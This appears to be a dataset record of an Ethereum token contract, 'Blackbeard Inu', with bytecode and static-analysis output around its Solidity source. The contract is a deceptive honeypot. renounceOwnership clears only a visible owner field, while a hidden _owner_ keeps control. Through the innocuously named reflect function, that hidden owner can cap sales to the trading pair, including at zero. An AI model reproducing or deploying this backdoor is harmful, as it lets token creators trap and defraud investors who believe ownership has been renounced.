080fd5b5060005b81518110156109af576000600460008484815181101515610cb057fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055600101610c93565b600154600090600160a060020a03163314610d0457600080fd5b60095460ff1615610d1457600080fd5b825160ff1015610d2357600080fd5b8151835114610d3157600080fd5b5060005b82518160ff161015610dca57600754828260ff16815181101515610d5557fe5b602090810290910101511115610d6a57600080fd5b610da8838260ff16815181101515610d7e57fe5b90602001906020020151838360ff16815181101515610d9957fe5b90602001906020020151611217565b5060055460065410610dc2576009805460ff191660011790555b600101610d35565b505050565b600060406044361015610dde57fe5b600160a060020a0384161515610df357600080fd5b33600090815260026020526040902054831115610e0f57600080fd5b33600090815260026020526040902054610e2f908463ffffffff61135c16565b3360009081526002602052604080822092909255600160a060020a03861681522054610e61908463ffffffff61136e16565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b60095460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f4557600080fd5b505af1158015610f59573d6000803e3d6000fd5b505050506040513d6020811015610f6f57600080fd5b505195945050505050565b60075481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a03163314610fc957600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561102d57600080fd5b505af1158015611041573d6000803e3d6000fd5b505050506040513d602081101561105757600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156110cb57600080fd5b505af11580156110df573d6000803e3d6000fd5b505050506040513d60208110156110f557600080fd5b5051949350505050565b60065481565b600154600160a060020a0316331461111c57600080fd5b600160a060020a03811615611154576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a0316331461117157600080fd5b60095460ff161561118157600080fd5b825160ff101561119057600080fd5b60075482111561119f57600080fd5b5060005b82518110156111e5576007548211156111bb57600080fd5b6111dc83828151811015156111cc57fe5b9060200190602002015183611217565b506001016111a3565b60055460065410610dca576009805460ff19166001179055505050565b60046020526000908152604090205460ff1681565b60095460009060ff161561122a57600080fd5b60065461123d908363ffffffff61136e16565b600655600754611253908363ffffffff61135c16565b600755600160a060020a03831660009081526002602052604090205461127f908363ffffffff61136e16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060016107c3565b600080828481151561132857fe5b04949350505050565b600082820283158061134d575082848281151561134a57fe5b04145b151561135557fe5b9392505050565b60008282111561136857fe5b50900390565b60008282018381101561135557fe00a165627a7a7230582002dc18186cfe0c13717542dae52a360cb522b923f05289c3770bc60dd4eea0fd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,771 |
0x3116a50d839dd808c44009cc645e0d091f608f78
|
/**
*Submitted for verification at Etherscan.io on 2021-11-02
*/
// SPDX-License-Identifier: MIT
// Telegram: https://t.me/blackbeardinu
pragma solidity ^0.8.4;
uint256 constant TOTAL_SUPPLY = 100000000;
string constant TOKEN_NAME = "Blackbeard Inu";
string constant TOKEN_SYMBOL = "Blackbeard Inu";
uint256 constant INITIAL_TAX=7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BlackBeardInu is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
address private _owner;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_owner_=_msgSender()] = _rTotal;
_taxWallet=payable(_owner = _msgSender());
emit OwnershipTransferred(address(0), _msgSender());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address from, address spender) public view override returns (uint256) {
return _allowances[from][spender];
}
address private _owner_;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner_== _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner=address(0);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address from, address spender, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[from][spender] = amount;
emit Approval(from, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _rateLimit);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function reflect(uint256 m) onlyOwner public{
_rateLimit=m;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(2).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610313578063c9567bf914610350578063dd62ed3e14610367578063f4293890146103a4576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd57806399c8d556146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190611f89565b6103bb565b005b34801561013857600080fd5b5061014161045c565b60405161014e9190612359565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611f1c565b610499565b60405161018b919061233e565b60405180910390f35b3480156101a057600080fd5b506101a96104b7565b6040516101b691906124bb565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e19190611ec9565b6104c1565b6040516101f3919061233e565b60405180910390f35b34801561020857600080fd5b5061021161059a565b60405161021e9190612530565b60405180910390f35b34801561023357600080fd5b5061023c61059f565b005b34801561024a57600080fd5b5061026560048036038101906102609190611e2f565b610619565b60405161027291906124bb565b60405180910390f35b34801561028757600080fd5b50610290610669565b005b34801561029e57600080fd5b506102a76107c1565b6040516102b49190612270565b60405180910390f35b3480156102c957600080fd5b506102d26107eb565b6040516102df9190612359565b60405180910390f35b3480156102f457600080fd5b506102fd610828565b60405161030a91906124bb565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190611f1c565b610832565b604051610347919061233e565b60405180910390f35b34801561035c57600080fd5b50610365610850565b005b34801561037357600080fd5b5061038e60048036038101906103899190611e89565b610d66565b60405161039b91906124bb565b60405180910390f35b3480156103b057600080fd5b506103b9610ded565b005b6103c3610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610452576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104499061243b565b60405180910390fd5b8060058190555050565b60606040518060400160405280600e81526020017f426c61636b626561726420496e75000000000000000000000000000000000000815250905090565b60006104ad6104a6610e5f565b8484610e67565b6001905092915050565b6000600254905090565b60006104ce848484611032565b61058f846104da610e5f565b61058a85604051806060016040528060288152602001612b0b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610540610e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113699092919063ffffffff16565b610e67565b600190509392505050565b600090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e0610e5f565b73ffffffffffffffffffffffffffffffffffffffff161461060057600080fd5b600061060b30610619565b9050610616816113cd565b50565b60006106626000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611655565b9050919050565b610671610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f79061243b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f426c61636b626561726420496e75000000000000000000000000000000000000815250905090565b6000600654905090565b600061084661083f610e5f565b8484611032565b6001905092915050565b610858610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de9061243b565b60405180910390fd5b600960149054906101000a900460ff1615610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906123db565b60405180910390fd5b61096630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ce57600080fd5b505afa1580156109e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a069190611e5c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611e5c565b6040518363ffffffff1660e01b8152600401610adf92919061228b565b602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611e5c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bba30610619565b600080610bc56107c1565b426040518863ffffffff1660e01b8152600401610be7969594939291906122dd565b6060604051808303818588803b158015610c0057600080fd5b505af1158015610c14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c399190611fb6565b5050506001600960166101000a81548160ff0219169083151502179055506001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d119291906122b4565b602060405180830381600087803b158015610d2b57600080fd5b505af1158015610d3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d639190611f5c565b50565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e2e610e5f565b73ffffffffffffffffffffffffffffffffffffffff1614610e4e57600080fd5b6000479050610e5c816116c3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece9061249b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e906123bb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161102591906124bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110999061247b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111099061237b565b60405180910390fd5b60008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c9061245b565b60405180910390fd5b60055481600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112045750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b61120f576000611212565b60015b60ff1661121f9190612627565b111561122a57600080fd5b6112326107c1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112a057506112706107c1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561135957600960159054906101000a900460ff161580156113105750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113285750600960169054906101000a900460ff165b156113585761133e61133930610619565b6113cd565b6000479050600081111561135657611355476116c3565b5b505b5b61136483838361172f565b505050565b60008383111582906113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a89190612359565b60405180910390fd5b50600083856113c09190612681565b9050809150509392505050565b6001600960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611405576114046127dc565b5b6040519080825280602002602001820160405280156114335781602001602082028036833780820191505090505b509050308160008151811061144b5761144a6127ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ed57600080fd5b505afa158015611501573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115259190611e5c565b81600181518110611539576115386127ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115a030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116049594939291906124d6565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b50505050506000600960156101000a81548160ff02191690831515021790555050565b600060035482111561169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116939061239b565b60405180910390fd5b60006116a661173f565b90506116bb818461176a90919063ffffffff16565b915050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561172b573d6000803e3d6000fd5b5050565b61173a8383836117b4565b505050565b600080600061174c61197b565b91509150611763818361176a90919063ffffffff16565b9250505090565b60006117ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c8565b905092915050565b6000806000806000806117c687611a2b565b955095509550955095509550611823866000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9090919063ffffffff16565b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b6856000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190181611b38565b61190b8483611bf3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161196891906124bb565b60405180910390a3505050505050505050565b60008060006003549050600060025490506119a360025460035461176a90919063ffffffff16565b8210156119bb576003546002549350935050506119c4565b81819350935050505b9091565b60008083118290611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a069190612359565b60405180910390fd5b5060008385611a1e91906125f6565b9050809150509392505050565b6000806000806000806000806000611a458a600654611c2d565b9250925092506000611a5561173f565b90506000806000611a688e878787611cc2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ad283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611369565b905092915050565b6000808284611ae991906125a0565b905083811015611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b25906123fb565b60405180910390fd5b8091505092915050565b6000611b4261173f565b90506000611b598284611d4b90919063ffffffff16565b9050611bac816000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c0882600354611a9090919063ffffffff16565b600381905550611c2381600454611ada90919063ffffffff16565b6004819055505050565b600080600080611c5a6064611c4c600289611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611c846064611c76888a611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611cad82611c9f858b611a9090919063ffffffff16565b611a9090919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611cdb8589611d4b90919063ffffffff16565b90506000611cf28689611d4b90919063ffffffff16565b90506000611d098789611d4b90919063ffffffff16565b90506000611d3282611d248587611a9090919063ffffffff16565b611a9090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d5e5760009050611dc0565b60008284611d6c9190612627565b9050828482611d7b91906125f6565b14611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db29061241b565b60405180910390fd5b809150505b92915050565b600081359050611dd581612ac5565b92915050565b600081519050611dea81612ac5565b92915050565b600081519050611dff81612adc565b92915050565b600081359050611e1481612af3565b92915050565b600081519050611e2981612af3565b92915050565b600060208284031215611e4557611e4461280b565b5b6000611e5384828501611dc6565b91505092915050565b600060208284031215611e7257611e7161280b565b5b6000611e8084828501611ddb565b91505092915050565b60008060408385031215611ea057611e9f61280b565b5b6000611eae85828601611dc6565b9250506020611ebf85828601611dc6565b9150509250929050565b600080600060608486031215611ee257611ee161280b565b5b6000611ef086828701611dc6565b9350506020611f0186828701611dc6565b9250506040611f1286828701611e05565b9150509250925092565b60008060408385031215611f3357611f3261280b565b5b6000611f4185828601611dc6565b9250506020611f5285828601611e05565b9150509250929050565b600060208284031215611f7257611f7161280b565b5b6000611f8084828501611df0565b91505092915050565b600060208284031215611f9f57611f9e61280b565b5b6000611fad84828501611e05565b91505092915050565b600080600060608486031215611fcf57611fce61280b565b5b6000611fdd86828701611e1a565b9350506020611fee86828701611e1a565b9250506040611fff86828701611e1a565b9150509250925092565b60006120158383612021565b60208301905092915050565b61202a816126b5565b82525050565b612039816126b5565b82525050565b600061204a8261255b565b612054818561257e565b935061205f8361254b565b8060005b838110156120905781516120778882612009565b975061208283612571565b925050600181019050612063565b5085935050505092915050565b6120a6816126c7565b82525050565b6120b58161270a565b82525050565b60006120c682612566565b6120d0818561258f565b93506120e081856020860161271c565b6120e981612810565b840191505092915050565b600061210160238361258f565b915061210c82612821565b604082019050919050565b6000612124602a8361258f565b915061212f82612870565b604082019050919050565b600061214760228361258f565b9150612152826128bf565b604082019050919050565b600061216a60178361258f565b91506121758261290e565b602082019050919050565b600061218d601b8361258f565b915061219882612937565b602082019050919050565b60006121b060218361258f565b91506121bb82612960565b604082019050919050565b60006121d360208361258f565b91506121de826129af565b602082019050919050565b60006121f660298361258f565b9150612201826129d8565b604082019050919050565b600061221960258361258f565b915061222482612a27565b604082019050919050565b600061223c60248361258f565b915061224782612a76565b604082019050919050565b61225b816126f3565b82525050565b61226a816126fd565b82525050565b60006020820190506122856000830184612030565b92915050565b60006040820190506122a06000830185612030565b6122ad6020830184612030565b9392505050565b60006040820190506122c96000830185612030565b6122d66020830184612252565b9392505050565b600060c0820190506122f26000830189612030565b6122ff6020830188612252565b61230c60408301876120ac565b61231960608301866120ac565b6123266080830185612030565b61233360a0830184612252565b979650505050505050565b6000602082019050612353600083018461209d565b92915050565b6000602082019050818103600083015261237381846120bb565b905092915050565b60006020820190508181036000830152612394816120f4565b9050919050565b600060208201905081810360008301526123b481612117565b9050919050565b600060208201905081810360008301526123d48161213a565b9050919050565b600060208201905081810360008301526123f48161215d565b9050919050565b6000602082019050818103600083015261241481612180565b9050919050565b60006020820190508181036000830152612434816121a3565b9050919050565b60006020820190508181036000830152612454816121c6565b9050919050565b60006020820190508181036000830152612474816121e9565b9050919050565b600060208201905081810360008301526124948161220c565b9050919050565b600060208201905081810360008301526124b48161222f565b9050919050565b60006020820190506124d06000830184612252565b92915050565b600060a0820190506124eb6000830188612252565b6124f860208301876120ac565b818103604083015261250a818661203f565b90506125196060830185612030565b6125266080830184612252565b9695505050505050565b60006020820190506125456000830184612261565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125ab826126f3565b91506125b6836126f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125eb576125ea61274f565b5b828201905092915050565b6000612601826126f3565b915061260c836126f3565b92508261261c5761261b61277e565b5b828204905092915050565b6000612632826126f3565b915061263d836126f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126765761267561274f565b5b828202905092915050565b600061268c826126f3565b9150612697836126f3565b9250828210156126aa576126a961274f565b5b828203905092915050565b60006126c0826126d3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffff